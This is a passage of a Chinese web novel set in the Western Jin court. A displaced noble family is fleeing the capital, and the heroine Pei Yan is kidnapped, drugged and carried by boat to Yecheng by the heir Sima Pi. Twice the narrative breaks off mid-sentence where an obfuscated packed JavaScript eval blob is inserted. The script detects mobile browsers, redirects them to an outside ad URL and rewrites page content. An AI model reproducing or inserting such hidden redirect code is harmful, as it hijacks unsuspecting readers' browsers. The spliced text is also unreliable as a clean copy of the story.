石勒对王夫人所关心的裴家反水一事避而不谈,反而送来另一个消息——赵王欲在京诸侯并外嫁之宗室女还朝观礼。 “欺人太甚!”翠绿的碧玉茶盏碎了一地,裴该恨不能杀进宫去。 始平公主赶紧上前拦住他。 裴该见妻子眼眶湿红,先就软了声,边给始平抹泪,边哄道:“不去!咱们不去宫里受他们的气!你到底是公主,赵王还敢打杀你不成!” 始平拿帕拭泪,摇头道:“我不去也不成,荣华还在里面!” 裴该沉默了,始平公主有一个胞姐,一个胞妹。胞姐弘农郡公主,下降清河傅家,随驸马外放,不在京城。胞妹河东公主则云英未嫁,至今陷在深宫。 始平不去参拜新后,赵王不好对她如何,可拿失了母亲庇护的河东公主出气,再容易不过。为了幼妹,她也得回宫观礼,心里再恨再不甘,也得朝赵王和那羊家女低头。 王夫人本静静地在堂上听着,到此节也忍不住摇头叹气。 前日才传来贾废后饮鸩自尽的消息。今上只以庶人之礼草草发丧,连几位公主都不许去送葬。 而今不过两日,天子竟又下诏改迎新人。谁都知道,那盖大印的哪里是天子,分明是赵王! 公主们母丧未过,就要入宫观礼。 赵王连天道人情都不顾,还是人么! 始平公主要进宫,裴该舍不得留公主一人在京,思量再三,对母亲道:“阿母,京里不可不留人。您先和兄长还有妹妹回乡里,京中自有我和兴华守着。” 事已至此,王夫人亦无奈,只好留幼子在京主事。她自己则随长子,带着女儿并几个大一点的孙儿孙女先行回乡。 65. 灾祸年来何太频,山鬼暗啼弄风雨 事不宜迟,两房夫人连夜收拾细软杂物。翌日又分别派人与王家、郭家等姻亲告辞。 王氏还特地让家老裴参去了东海王府和凉州刺史府,代她向王妃、世子还有张大郎道谢,顺便打探消息。 然而,东海王府却对裴家的事讳莫如深,一点信息没透。倒是张寔把手头搜罗来的线索都告知了王夫人。 裴参回禀后,王夫人两相对照,心里便明白了七八分。 原是裴绰父子!这家人在族里素来名不见经传,要不是与东海王府关亲,怕也攀不上赵王这座靠山。没想到自家竟是毁在这样的蝼蚁手里!又想到司马毗对这事的前后态度,猜测东海王或也不清白。 王夫人恨得银牙暗咬,却又无可奈何。 裴妍则趁着间隙先去了趟薛五郎家。 裴娴落草时间将近,肚子大得和灶上的铁锅似的。听说裴妍一家要回闻喜去,她虽有些失落,却万分支持:“有我阿耶在,断无人敢欺辱你们!”又道:“正巧我有手书要给阿母,你顺路帮我捎回去。” 裴妍知道这是裴娴要帮自家说话呢。这个时候,能多点助力也是好的,于是欣然答应。 从裴娴处出来,她又顺道去了趟胡饼店,拜托张茂的手下帮忙看顾些府里。而后又让容秋将张茂安排进府的那三十名部曲集中叫到跟前来当了个面。 特殊时候,她也不怕王夫人发现,尽数将他们编到了还乡的部曲中去——不是不给三哥和公主留人,而是公主府自有府兵护卫,有百人之多,都是当年公主下降时,贾后留给女儿的心腹,且大多是贾家部曲出身。如今贾家湮灭,这些部曲的家人也多有波及。他们与赵王本就有灭门之仇,护卫起公主来只会更加卖力。 而王夫人也不知是哀毁过度,还是如今家门尚需仰赖张家之故,对裴妍安排部曲的事不闻不问,任她施为。这在从前,是从未有过的。 下晚,裴妍本来编了一肚子的话来应对二婶的诘问,结果二房却一点动静也没有。她心虚地捏着花名册在院门口徘徊犹豫半晌,到底没有勇气去找王夫人陈情。 一旁的容秋长长地舒了口气——有些事心照不宣就好,解释反倒多余。 隔日一早,连日来的阴云终于散去,久违的艳阳热辣辣地照耀着钜鹿郡公府高大的仪门。 裴憬和裴崇热孝在身,在裴该夫妇的目送下,骑上高头大马,护着家主裴頠的棺椁,以及两房的女眷孩童,并一众护卫,默默踏上了回乡的路。 为了不耽搁行程,车队没有带多少资帛,除了裴该夫妻俩外,也没有亲友前来相送,曾经热闹的府门前,冷落得好似寒门。 裴妡忍不住撩帘看向车后。眼见着哥哥嫂嫂挥手的身影越来越远,到最后,只隐约瞧见孤零零的仪门,上头黑白的挽联在东风的吹拂下高低起伏,好似衣服上勾破的线头,丝丝缕缕地牵挂在身上,让人不忍前行。 裴妍狠心地将帘子抽放下来,硬生生地割断了那根线。 裴妡这几日哭的时候比她前半生加起来都多,连声音都喑哑得很。她抱着膝盖,幽幽地问堂姐:“阿姊,你当年离京时,一定也不好受吧?” 裴妍没有说话。她转头看向随风飘荡的车帘。离京那年,她尚且年少,只记得阖府的人来送她。她似乎除了委屈与不舍,没有太多其他情绪。又有张茂牢牢地护在身侧,即便有什么难过的,只消见到他,似乎又充满了希望。 哪像如今,家门不复,人事已非。再回首,心头好似被戳了千疮百孔,岂是昔时能比! 往返司州的路裴憬行了不下三回。长房的其他人也都是走过的。但是对二房的诸人而言,这一路却陌生得很。 裴崇虽早早入仕,却是文官出身,又常年在中枢供值,到过的最远处不过京郊而已。王夫人和崔华堂亦是如此。 长途跋涉不是易事,何况队中老弱妇孺皆有,裴崇审慎起见,不敢行的太快。三日过去,才将将行出百里,刚入轵县境内。 眼见着恶月到来,天气也越来越热。裴頠的棺椁里渐渐传出腐臭的味道。即便撒了草木灰也无法掩盖。 如此下去不是办法。 这日晚间,众人于轵县驿站休整。 郭、王二位夫人与裴崇商议后,决定兵分两路——由裴崇带领一部分护卫扶灵先行,其余妇孺则随裴憬押后。 只是如此一来,拱卫妇孺的部曲又少了半数。 如今五胡动乱,盗匪横行,队中又有金银细软,若无强兵护卫,易遭横灾。 王夫人沉吟道:“河内郡守郭祁与家里关亲。或可向他借兵。” 郭祁是小郭氏的堂叔父,也是王夫人的远房堂舅,向他借点人手,当是不难。 裴崇于是又连夜拿着王夫人的手书与信物赶往郡守府,向这位舅公搬救兵。 郭祁为人豪爽,又素来仰慕裴頠,这次赵王上位,郭家本家也元气大伤。他虽暂未被波及,但颇同情钜鹿郡公府。见裴頠长子向自己求助,二话没说,就借出五十名精壮府兵,供裴崇差遣。 大恩不言谢,裴崇立马带着人手赶回。 于是众人在轵县又休整半日,将部曲和府兵重新编排,分成两路人马。 事不宜迟,裴崇就此与诸人暂别,先行赶路。 小儿体弱,虽有仆婢精心照料,又雇有郎中同行,但一路上车马劳顿多有不便,若染上风寒,更易夭折。 故而裴崇先走后,郭、王二位夫人行路速度明显慢了下来。 轵县说大不大,说小不小,裴憬领着众人行了两日才出了县域,到了沁水。 渡船是在驿站便提前遣役卒来订好的。 然而不知是初夏雨水颇多之故,还是别的什么原因,偌大的渡口竟一搜船也没有。 裴憬赶紧派家老去问官渡的津吏。部曲则趁机放马饮水,稍作修整。 刚入恶月,金乌渐热。 女眷们在车里闷了半晌,也正好在这个间隙,带孩子们出来透透气。 若说这群人里,唯一带着喜意的,便是柳蕙了。因小郭氏常年卧病需人侍奉,她自嫁到巨鹿郡公府后,已经三年没有回过娘家。她看着粼粼的沁水,心思早飞到了闻喜家里。 “咿咿呀!”身边传来小儿的叫唤。她低头,见儿子从乳媪手里挣脱,飞奔着向自己跑来。 她赶紧蹲下身,张开手臂,接过一岁半的孩子,护着他在草地上磕磕绊绊地跑跳。 裴妍和裴妡服侍各自母亲在河边的大树下小憩,听到柳蕙和孩子的笑声,也跟着过来逗弄小侄子。 裴妡本是愁眉不展,在看到自家侄子白嫩柔软的小脸后,多少露出点笑容。 “过河后再行百里就到阿公家了。”裴妍温声逗孩子道,“阿瑀可欢喜?” “丫丫!”一岁半的小儿,哪里能听懂这些。白白胖胖的裴瑀没有回答她,而是从嘴里抽出两根带着湿漉漉的口水的手指头,垫着脚往弓着腰的裴妍脸上轻轻地拍了拍,又雨露均沾地摸了摸裴妡的鼻子,而后得意地咧着只有几颗牙的小嘴笑了起来。 柳蕙怕两个小姑子嫌弃,赶紧自袖管里掏出一方丝帕,歉意地给姊妹俩边擦脸边解释:“阿瑀这几日格外淘气,总喜欢往漂亮女郎脸上拍口水。” 裴瑀似乎为印证母亲的话,还笑着朝母亲脸上也拍了拍,同样留下了亮晶晶的水印子。 裴妡笑道:“可见我们阿瑀自小就聪明,分得清美丑贤愚!” 这就是恭维了。这么小的孩童,哪里看得出聪明与否? 不过谁不喜欢听好话呢?何况裴瑀有个痴顽的阿耶,柳蕙最怕别人说自己儿子也是傻子。 “借阿妡吉言。”柳蕙笑盈盈地道。 然而,平静不过一刻,就见容秋突然跑过来,警觉地对她们道:“女郎快上车,周边怕不太平!” 容秋是女中骁将,警觉远超常人。她的话众人都是信服的。 女眷们登时紧张起来,纷纷疾步往车上行去。 裴妍边跑边回头寻母亲和哥哥,见郭、王二夫人正在定春的护卫下,匆忙往最近的车上赶,不远处的裴憬和崔氏她们也被裴池牢牢护在部曲中间。这才放下心来。 就在这时,河边的树林里突然蹿出许多黑衣的蒙面甲士。外围的部曲赶紧上去迎敌,周围立时响起短兵相接的乒乓声。 裴妍几个加快了步伐,将到车边时,就听“嗖!”的一声,一支利箭破空而来。 容秋赶紧将一旁的柳蕙母子扑倒在地。 柳蕙怕孩子受伤,抱孩子的姿势不变,硬是咬牙承受住肩膀落地的疼痛,怀里的孩子却还是被突如其来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴池还要去追,定春着急地指着相反的方向,叫道:“元娘被掳去了那边!” 这…… 裴池一时呆愣,不知该往哪个方向追。 容秋跺脚:“笨死了,找元娘要紧啊!”她顾不上其他人,先行拽过一匹大马,跑了出去。 裴池立刻回过神来,赶紧朝自己身后的那队部曲大喊:“儿郎们,随我去救元娘!”言罢,也往那单骑的方向追去。 柳蕙忍着剧痛,一手揽着哇哇大哭的孩儿,一手任郎中正骨,还不忘战战兢兢地看向婆母,生怕被她迁怒——裴妍是为了救她才被掳的。 却见小郭氏喘了两口气,两眼一闭,竟是晕了过去。 添乱! 王夫人腹诽,赶紧让定春给她找药,又和大儿媳崔氏一起,给她喂水推拿,这才把人晃醒。 小郭氏人虽醒了,却不说话,只是一味地揽着孙儿哭。 裴憬此时也赶了过来,看到妻儿没事,但妹妹却被掳了。一时五味杂陈,和妻子一样,讷讷地站在车边,不敢看嫡母的眼睛。 却说另一头,容秋和裴池一行顺着马蹄痕迹沿河疾驰数里,却在一处河湾时失了踪迹。 裴池看到岸边湿滑的泥土上有泊船的痕迹,和身后的容秋对视一眼,沉声道:“不好,他们怕是带元娘过了河!” 容秋蹙眉,看向对岸郁郁葱葱的树林,心下一沉。这波甲士虽黑衣蒙面,但一招一式皆训练有素,排兵布阵亦有章法,明显不是一般的山匪盗贼。且他们目标明确,那么多妇孺财帛皆不要,只单单分兵掳走元娘。 这是早有预谋啊! 究竟是何人,敢动凉州刺史府定下的新妇?但看这兵力与胆魄,必不是无名之辈! 容秋心乱如麻——元娘再次被掳! 她不敢想张茂得知这消息时会作何反应。她只知道,若当真找不到裴妍,她这条小命也得跟着休矣! 容秋不敢耽搁,赶紧随裴池回去复命——既然贼人已然过河,他们也得赶紧找到船追过去才行! 恶月多落雨,再晚些,只怕连一点踪迹也寻不到了! 66. 神女应悔遇襄王,蹉跎无期到今朝^…… 过沁水北行数十里就到了响屏山。此处东拒洛川,西望华山,为西崤入口,往内可达司州屏障雁翎关,往外可由河谷北上平阳郡。 时值槐序,草木生发。山脚一处别庄,占地不大,依山傍水,隐于层山密林当中。若非土著向导,即便训练有素的斥候也探不出路来。 暮色四合,内室并未掌灯。但院子里燃烧的亭燎将屋内照得五指分明。 裴妍从沉睡中悠悠转醒,朦胧间,只见头顶秋香色的软烟罗帐低垂,泛着冷光的红铜钩上悬着一枚忍冬香囊,悠悠往外发着香气。 脑袋一阵钝痛,她揉揉尚自发昏的额角,几息之后,才突然想起白日的事来——她是被贼人强掳来的!记得那时她被那甲士强抓上马,头和四肢朝下,腹部顶着鞍鞯,颠簸没几下就昏了过去。 亭燎燃起的火焰明灭不定,窗外树影斑驳,室内落针可闻。理智回笼的裴妍一下子慌起来,巨大的恐惧混着忍冬香气丝丝缕缕缠绕而来。 莫慌!裴妍告诫自己! 她开始观察四周——她所在的床榻不大,倚墙而设,身上盖着一张薄衾,用手一捻,竟是凉盈盈的月华锦。她顺势动动手脚,发现自己竟没有被缚住。她又竖起耳朵,屏气凝神地听了会外间动静。发现外面似乎没有人后,才敢偷偷地撩开一点纱帘,试图探看一丝外面的光景。 如同寻常贵女的卧室一样,她的榻边不远是一张挡风的三折立屏,将屋子分为了内外两间。内室除开角落的铜镜妆奁,别无他物。外间则隐于昏昧的阴影之中,隐隐绰绰,看不真切。 裴妍有些诧异,那贼人将她掳了来,却金尊玉贵地养着,究竟意欲何为? “妹妹醒了?”自外间传来一声温润的男声,当是一名年轻男子。 裴妍大惊,手一抖,帘子又落了下来。 那人似乎起了身,窸窸窣窣间,外室突然亮了起来。裴妍听到一阵脚步声由远及近,那光亮也随人影移动——那人秉着烛灯绕过屏风,于她的床帷前站定。 裴妍瞬间惊恐万分。她拽着被子往后退了又退,只觉整颗心跳到了嗓子眼儿。 那男子似乎犹豫了会,并未上前,只是隔着一层半透的帷帘与她说话。 “妹妹不必紧张,你我本是自家兄妹。” 裴妍瞪大眼睛,心里又疑又惧,这人是谁?为何与我自称兄妹? 那人仍在自说自话:“我知妹妹受了委屈,只是若不如此,如何能请妹妹来得此处?可怜我家世子饱受相思之苦,我等身为臣下怎可不为其解忧?万望妹妹见谅!” 裴妍没理会他妹妹长妹妹短的,她全副心神只放在“世子”二字上!她身边的故人,能被称为世子的,只有司马毗一个! 不会不会!朝中那么多诸侯世子,哪就能是阿毗呢?裴妍摇摇头,怎么想也不会是他啊! 她赶紧辩解:“郎君可是认错人了?我乃钜鹿郡公府元娘,自来养在闺中,不曾认得外人,更遑论那位,世子。” 那人却咯咯咯地笑起来。 就见一把刀扇破帷而入,裴妍骇得赶紧连滚带爬到床脚。 那人却不疾不徐地拿扇柄挑起床帷,随着亭燎与烛火的映衬,一个高挑的男子印入眼帘。只见他面容清瘦,脸色苍白,偏学楚狂人的做派,素衣博带,梳一头髽发散于脑后,更显得他瘦骨嶙峋,许是被酒色掏空了身子,眼下透着一抹青黑,像个痨鬼。 裴妍整个人躲在被子里,只露出半个脑袋和一双惊惧且疑惑的眼珠子。这人瞧着确实有几分眼熟,只是想不起来在哪里见过。 莫非还真是亲戚? “妹妹真是贵人多忘事。你我每三年祭祖都曾同堂共饮。何以哥哥记得妹妹,妹妹却忘了哥哥!”他缓缓道。 祭祖?裴妍脑中一转,隐约想起,他好像是……王妃姑姑那房的人!叫什么来着?裴遐? 裴妍双眼瞪大,脱口道:“怎么是你?你为什么掳我?” 裴遐刚还在笑着,此刻却突然撕心裂肺地咳起来,好似沉疴未愈。他好容易平复下来,这才对着裴妍恭谨又不失玩味地道:“哥哥方才不是说了?是世子命我来接你的!” 接?你管这样抢人叫“接”? 这回,裴妍没法再对这位“世子”视而不见。这个裴遐是王妃姑姑的亲侄子,一直在东海王府里谋事,他说的世子,只能是司马毗了。 她眉头微蹙,司马毗好端端地,掳她做什么? 裴遐却似有所顾忌似的,不肯再多说,往后退了两步,柔声道:“桌上有些许吃食,妍妹好生休息,明日一早我们便启程!”言罢拂袖而去。 “明日一早?去哪儿?”裴妍立刻爬下床去想问个究竟,裴遐却半分未理会她,径直出了房门。 “砰!”不等裴妍追到门口,房门就被守卫重重地关了起来,任她徒劳地拍打着门窗。 她只觉一头雾水,比起恐惧,心里的疑惑更甚。在她心里,哪怕她与司马毗因为姻缘纠葛,有些许生分,可到底,他还是当初那个京城东郊外,与她腼腆话别的玩伴;是她家门倾覆时,冒险派人与她送消息的朋友;是叔父身死时,亲来祭奠的兄长。何况,司马毗身后还有王妃姑姑,她之于她是仅次于母亲一般的存在。 本能地,她相信司马毗,也相信姑姑,不会也不舍得伤她。 这中间,定有什么误会! 她看着外面明亮的亭燎兀自焦急。这时候,若能给家里传个信报个平安该多好?阿母定哭死了! 裴妍现在反而急切地想见一见司马毗,听听他怎么说。若他当真有事要见她,让姑姑跟家里打声招呼不就好了?为何跟打劫似的,把她抢来呢?大家都是亲戚,有什么不能商量的? 她的手拍累了,嗓子也哑了,外面也不知有没有人,竟一点动静也无,只门锁得死死的,任她如何踢踹,也不动分毫。 她有些气闷地回到屋内,果然见到案上留了吃食,是一碗燕窝粥,一盘芙蓉菜心,并一碟混着羊肉的菌菇酱。 裴妍长途跋涉又担惊受怕了一整天,确乎有些饿了。她捧起粥碗抿了一小口,清凉的汤水下肚,缓解了一点恶月的燥热。配上小菜,确实让人食指大动。 人在没有了人身之忧后,胃口也跟着大开。不一会,案上的清粥小菜就全数祭了五脏庙,只是不知是累的,还是别的什么,裴妍用完饭不久,整个人就昏昏沉沉起来。她勉强挨到榻边,往被子上一倒,就再次人事不知了…… 这一夜,于钜鹿郡公府诸人而言,分外难熬。那么多部曲仆婢护着,自家的女郎居然还能被抢了! 奇耻大辱! 沁水郡驿馆,为防消息走漏,家老一早便亮明身份,将闲杂人等屏退,整个驿馆都在裴家部曲的拱卫之中——钜鹿郡公虽死,但河东裴氏还在,驿丞也只有恭敬从命的份。 小郭氏自女儿被掳后,已经晕过去多次,每次醒来既不说话也不吃饭,只知抱着孙儿哭。任周围人怎么劝也没用。方才,在王夫人半保证半胁迫下,好歹用了点郎中的安神汤,这才勉强歇下了。 郭夫人是美人灯,风吹吹就倒了。王夫人身为一府主母,却不能跟着倒。王夫人从小郭氏房里出来后,听闻裴池与容秋从外面回来了,连饭都来不及吃,先把他俩叫进屋里。 “你是说,方圆十里搜了半晌,一点线索也无?” 裴池衣衫带尘,显是赶路而归,闻言俯伏于地:“属下无能!” 王夫人沉吟半晌,转头问同样风尘仆仆的容秋:“你是行伍里出来的,这事怎么看?” 容秋手里的拳头握了又放,思量再三,实言相告:“奴观盗贼手法,亦出自军户。如此,非上位者不能为!” 她不确定王氏会不会冒着得罪权贵的风险救裴妍,毕竟钜鹿郡公府刚遭了大灾。不过她已经派了一个部曲连夜去京城传信,想来不久张家便能收到信。倒也不怕王夫人有别的心思。 王夫人点头,心里的猜测得到证实。她沉声不语,挥手让二人先行退下。 一旁的家老躬身上前:“主母可有示下?” “示下?”王夫人嗤笑着摇摇头,指着门外,:“那张家婢子都能看出来的事,你看不出来?” 家老脸色一暗,长长地叹了口气。 墙倒众人推,破鼓万人捶,树倒猢狲散,摧折知是谁? 凉州刺史府与河东裴氏临危定亲的事,早在京城传将开去。能不念裴頠贤达的名声,不顾河东裴氏与凉州刺史的声威,轻易调动军士的人…… 怕只有京中新贵——赵王一系了吧? “难道是赵王?” “不会!”王氏拂袖,坐回主位,“他正是更进一步的时候,比起美人,更在意贤 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一声惊雷炸响,裴妍从昏睡中惊醒,差点落下榻来。她瞬间清醒,却浑身虚浮无力,连撑起身子都有些艰难。她直觉不对,外面怎么依然是黑夜?莫非她睡了一天?怎么会呢? 她突然想起昨晚吃的清粥小菜来,莫非…… 下作! 是裴遐自作主张?还是司马毗暗中指使?他们为何要这么对待自己? 裴妍咬牙,想拽着床帷站起,却发现自己根本站不稳,几次跌落在床。 她身上已经出了一层细细的薄汗,只得趴在床边喘气休息。她借着案台上微弱的烛光顺势打量起四周——这是一间小而窄的屋子,顶棚低矮,半开的槅窗外赫然是宽阔的水面!而她自己也正随着水流,和屋子一起,大幅度地,左右摇摆着。 她瞪大眼睛,惊恐地发现,她居然在船上!难怪站不稳! 吱呀,房门突然大开。 一个高大的身影从一团漆黑里入得门来。 裴妍心里一紧,定睛看去,脸上露出不知是喜是惊的神情。 “阿毗!” 司马毗一身绀蝶劲装,长石箭袖,头发依然一丝不苟地拿金冠束起。听到裴妍的叫唤,他在门边停了一步,却没有回应她,而是两手背后,缓步行到裴妍身边。在她面前五步处站定。 裴妍眼见着司马毗脸色阴沉,一步一步向自己走近,没来由的,突然紧张起来,心口莫名有些惧意。明明,明明,人还是那个人。名字、样貌都没有变,可是,似乎哪里不一样了! 司马毗的个子比裴妍高出许多。他站在她的面前,沉静的眸子犹如筛子,居高临下地,从头到脚地审视着她。 这样的眼神让裴妍很不舒服,好似她是他盯上的猎物,又或者,是他的囚犯。 可是,明明她才是苦主,她才是有理的一方!她有一肚子话要问他! 于是,她顶着不适,状似镇静地诘问:“好端端的,派人来抓我干嘛!我哪里惹到你了?姑姑知道这事么?我阿母那里你说了吗?” 裴妍鼓起勇气抬头直视着司马毗,却不知,每当她给自己壮胆的时候,会下意识地鼓起腮帮子,两只粉拳别在腰间,做生气状,活似一只充气的鯸鲐(河豚),和小时候一样。 司马毗有一瞬的破功。他背过身去,忍俊不禁地摇头——每当他生她气的时候,她似乎总有办法,让他爱恨不得。 在裴妍来之前,司马毗想过很多种惩罚她的方式——他要狠狠训斥她!若她不服,他不介意用些特殊手段,让她□□上吃一些苦头,受一些折磨,跟熬鹰似的,由□□而精神的折服。他想当然的以为,对付裴妍这样的闺中女子,都不需要使出多少功力。甚至,若他不忍心,他可以全权推给下面的人去做。他的手下里不乏擅长刑名之人——只要他狠得下心,不看不听不念,便有的是手段,让一个弱质女流乖乖听话。 然后,他要将她带回府里,请母亲做主,为他们再续前缘。他要以她的夫的身份,好好规制她,绝不容许她再如现在这般无法无天下去! 然而,当裴妍真的这么凄凄惶惶地站在司马毗面前,像儿时那样,小心翼翼却又故作理直气壮地质问他时,他好不容易硬起来的心肠,终是软了下来。 他拿手捏着自己的眉心。 这大概就是胡僧讲的,冤孽! 68. 自顾左右无长策,空知恩怨入旧林^…… 裴妍心里突突的。尽管她知道裴遐是害死她叔父的罪魁祸首,对钜鹿郡公府造的孽百死难赎万一。可是看到前一刻还活生生的人,就这么突然消失在面前,心里还是说不出的震惊与惶恐。尤其司马毗对待人命的态度,让她心惊,好似一个生命的湮灭,就是随手一掐的儿戏! 她突然想到,裴遐曾是东海王府的幕僚,司马毗这么急着杀他,莫非…… 她不动声色地问:“你说他阿耶也参与了这事?” 司马毗不觉有异,抽出腰扇,便面当风,浅笑道:“刚收到消息,他父亲日前右迁琅琊郡守,不慎在沂水翻了船,失了踪迹。” 果然……杀人灭口,斩草除根!琅琊王素来与东海王同气连枝,这事说没有东海王授意,谁信呢? 那么司马毗呢?裴妍惶惑地看向他。她记得从小他就万分仰慕阿叔,还曾说将来也要像阿叔那样,仁心仁术,成为治世能臣。 他也参与了这事吗? 裴妍闭上眼,不敢想,也不敢问。她怕一旦知道真相,那个曾经的仁义纯善的少年会彻底死去。 “我困了,想休息。”她听到自己喃喃道。 司马毗莞尔:“睡了这么久,还困?”又道:“总得用些吃食吧,不怕胃疼?” “那就送到我房里。”她转身往回走,袖口却被司马毗拽住。 “阿妍,今晚……” 裴妍眉梢一跳,直觉往后退一步。 “今晚,我心甚悦!”司马毗露出一抹浅笑。他的皮肤白皙,五官立挺,笑起来左靥有一道浅浅的酒窝,凤眼随之微微轻眯起来,敛了七分戾气,好似一个没有心机的孩子。 裴妍有一瞬的恍然,似乎又见到了那个会牵着她的手,带她去划小舟、摘莲蓬、剥莲子的少年。 突然,从暗处跑来一个部曲,打破了宁静,也将裴妍拉回了现实。就见那部曲以手遮面,低声与司马毗禀报了什么。 司马毗浓眉微蹙。他回头看了裴妍一眼,有些歉然:“阿妍,你先回房休息。我还有些许事要处理,就不陪你了。” 裴妍求之不得,对他点了点头,就回了船舱。 关上房门后,她长长地舒了口气,却听得外间喧嚷了一阵,好似有什么事发生。 裴妍没甚在意,管他外面乱什么,没来烦她就好。 不一会,一个年幼的婢子端来了吃食。 裴妍叫住她,发现这个婢女也就十岁出头,脸圆圆的,带着尚未长成的稚嫩,有些怕生,见到她头埋得低低的,一句话不敢说。 “你唤作什么?多大了?我以前在王府怎么没见过你?” 那婢女没有抬头,老老实实地一字一句答道:“奴秋水,今年十一,以前在庄子上过活,年前才入的王府。” 哦!裴妍摇着团扇点头,才进的新人,难怪面生。 “既是庄子上来的,府里可有亲眷?” “奴的姑父是王府郎中令。” “哦?那你姑母必不是无名之辈。可是王妃身边的人?” 那婢子摇头。“奴的姑母是高密王太妃的典侍。” 裴妍脸色微沉,挥手示意她退下。原以为她能是姑母那边的人。没想到是太妃那头的。她与那高密王太妃没甚交情,人家可不见得会帮忙。 “司马毗,你故意的吧!” 千挑万选了这么个小丫头! 裴妍有些气恼地跪坐在矮案前。不可控的,鼻端闻到一阵菜香——那云水纹红漆食盒就静静地躺在案上。 她睡了一天一夜,肚子确实空了。再生气也不能饿着自己,否则哪有力气想办法? 她打开盖子……因在水上,疱人也因地制宜,食盒里尽是刀鱼啊毛虾啊这些河鲜,小菜也以咸菜为主。若以往,裴妍也爱吃这些。可她今天才亲眼见着裴遐被扔进水里。她想到河中的那些鱼虾必会啃食裴遐的骨肉。而这条河里还不知有多少像裴遐这样落水而死的人,他们的尸身都会被水里的动物一口一口吃掉…… “呜……”裴妍的胃里开始泛酸水。她赶紧转过身去,竟是连看一眼餐盘的勇气都没有,忙高声唤秋水。 秋水听到裴妍连声叫唤,忙不迭地推门而入。就见裴妍背对着她,一手指着身后的食盒,一手捂着嘴巴,艰难地道:“我近日食不得荤腥,且将它们都撤了。船上可有干粮?拿一些给我就好!” 秋水不知底里,但见裴妍一脸嫌弃的样子,吓得赶紧将食盒抱走。隔了一会,她又送来几只温热柔软的白面蒸饼,和一碗炖得浓稠的稀粥。 裴妍就着粥一口气吃了两个蒸饼。这才觉得恢复了些气力。她边在房里来回踱步消食,边想着目下的现状。 说实在的,如今的景况比她刚遭难时预想的要好了不知多少。她刚被掳上马时,还以为又碰上了乞活军,或是哪路山匪恶盗。鉴于多年前东郊惨案的经历,她甚至连自己失身被杀的可能都想到过。 不幸中的万幸,劫她的是不甘放手的司马毗。他虽不是从前那个良善的少年郎,但在她面前,却没什么恶意。 她和司马毗到底是一起长大的。出于女子的直觉,裴妍知道司马毗是真心心悦她的。她曾经甚至为之动摇过。毕竟,在母亲和裴妃姑姑眼里,他们早该成一对了!可是自从今日见识过他不择手段的一面后,裴妍对他的观感便复杂起来,甚至,带着几分惧意。 如果他们还是小时候该多好! 她摇头,回不去了,都回不去了! 她现在就盼着阿母和容秋能快些收到信。张茂能快些来救自己…… 恶月多落雨,层层积云笼罩在祁连山脚。山腰处的冰融了,露出一地褐色带新绿的苔藓,积水顺着溪流汇集成河,滋养了大片牧场和绿洲。雪线随着日渐升高的暖意缩回山顶——凉州城正式进入汛期。 京城的信使快马加鞭,终于提前三日入城。彼时张茂正与宋司马站在小腿肚高的水里,一边看着附近的农人耕作,一边和司农署的官员讨论播种事宜。祁连山下多牧场,再往北有一处平坦的绿洲。张茂视察时,惊喜的发现,这里居然有野生水稻生长,于是命手下划出一块地来,命负责农事的官员研讨试种的方案。 当拾叔焦急地寻来,将裴府出事的消息告知他时,张茂面上一紧,手里的嘉禾差点散落在水里。 宋司马皱眉:“可是京里出了大事?” 张茂来不及详说,不顾满身泥污,边穿鞋上马边道:“皇后被废,张司空与钜鹿郡公被赵王鸩杀。” 宋司马亦大惊。这可是天翻地覆的大事!他不敢耽搁,也赶紧回身上马,随张茂疾驰而去——这个时候,该怎么部署,还得听明公的意思。 至于张茂,天知道他有多着急,每耽搁一刻裴妍就多一分危险。他恨不能立刻插上翅膀,飞回京城! …… 几只水鸟徘徊停歇在高高的桅杆上,裴妍见头顶高大的帆布张满,巨大的船只顺风而行,速度可谓飞快。 一路上,偶尔看到几艘小渔船,也都吓得老远就靠边停着,生怕被大船撞翻。 “明日就能到邺城了!”司马毗不知何时站到她身边。 裴妍发现这几日司马毗似乎很忙,隔壁的灯火可谓昼夜不息,房门总是开了又闭,来来去去要见很多人。 船上隔音不好,虽然司马毗与幕僚已尽量压低声音,但多多少少还是传了些到裴妍耳里。 “赵王加九锡不够,竟入主西宫,他要谋逆不成?”裴妍想到赵王对家里造的孽,恨不能手刃了他! “还是叫你听去了。”司马毗舒展脊背,两手背后,目光望着远处的天水交接处,悠悠然道,“他如今身边尽是孙秀这样的小人,早被权势蒙蔽了双眼。殊不知螳螂捕蝉黄雀在后,他怎么设计贾后的,别人照猫画虎,也同样可以设计他。” “所以,你找成都王是为了一起对付赵王?” 司马毗回头看了裴妍一眼,不答反问:“你什么时候对这些事上心了?” 裴妍撇撇嘴。不上心不行呀!叔父走了,家门无人支撑,她哪里还敢同过去那样浑浑噩噩度日呢? 越往北走河道越窄,待入了漳河,船速也渐渐缓下来,到得下半晌,终于抵达邺城。 来渡口接他们的,是一位素衣博带的中年文士。司马毗虽是诸侯世子,对他却行晚辈礼,亲切地唤他:“卢府君”。 裴妍大概知道这人是谁了。之前听二嫂始平公主提起,她的姑姑荥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123027|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳公主曾与邺城令的长子卢谌定亲。可惜荥阳公主还未下降,就染病早逝。这位卢郎君因感念公主,竟至今未娶亲。 眼面前的这位,应该就是那位准驸马的父亲,邺城令卢志了。 她悄声打量着这位中年人,觉得他外表谦和温驯,言谈间又不乏幽默风趣,这种风度何其眼熟,她竟想起她的叔父来。 “这是逸民的侄女?” 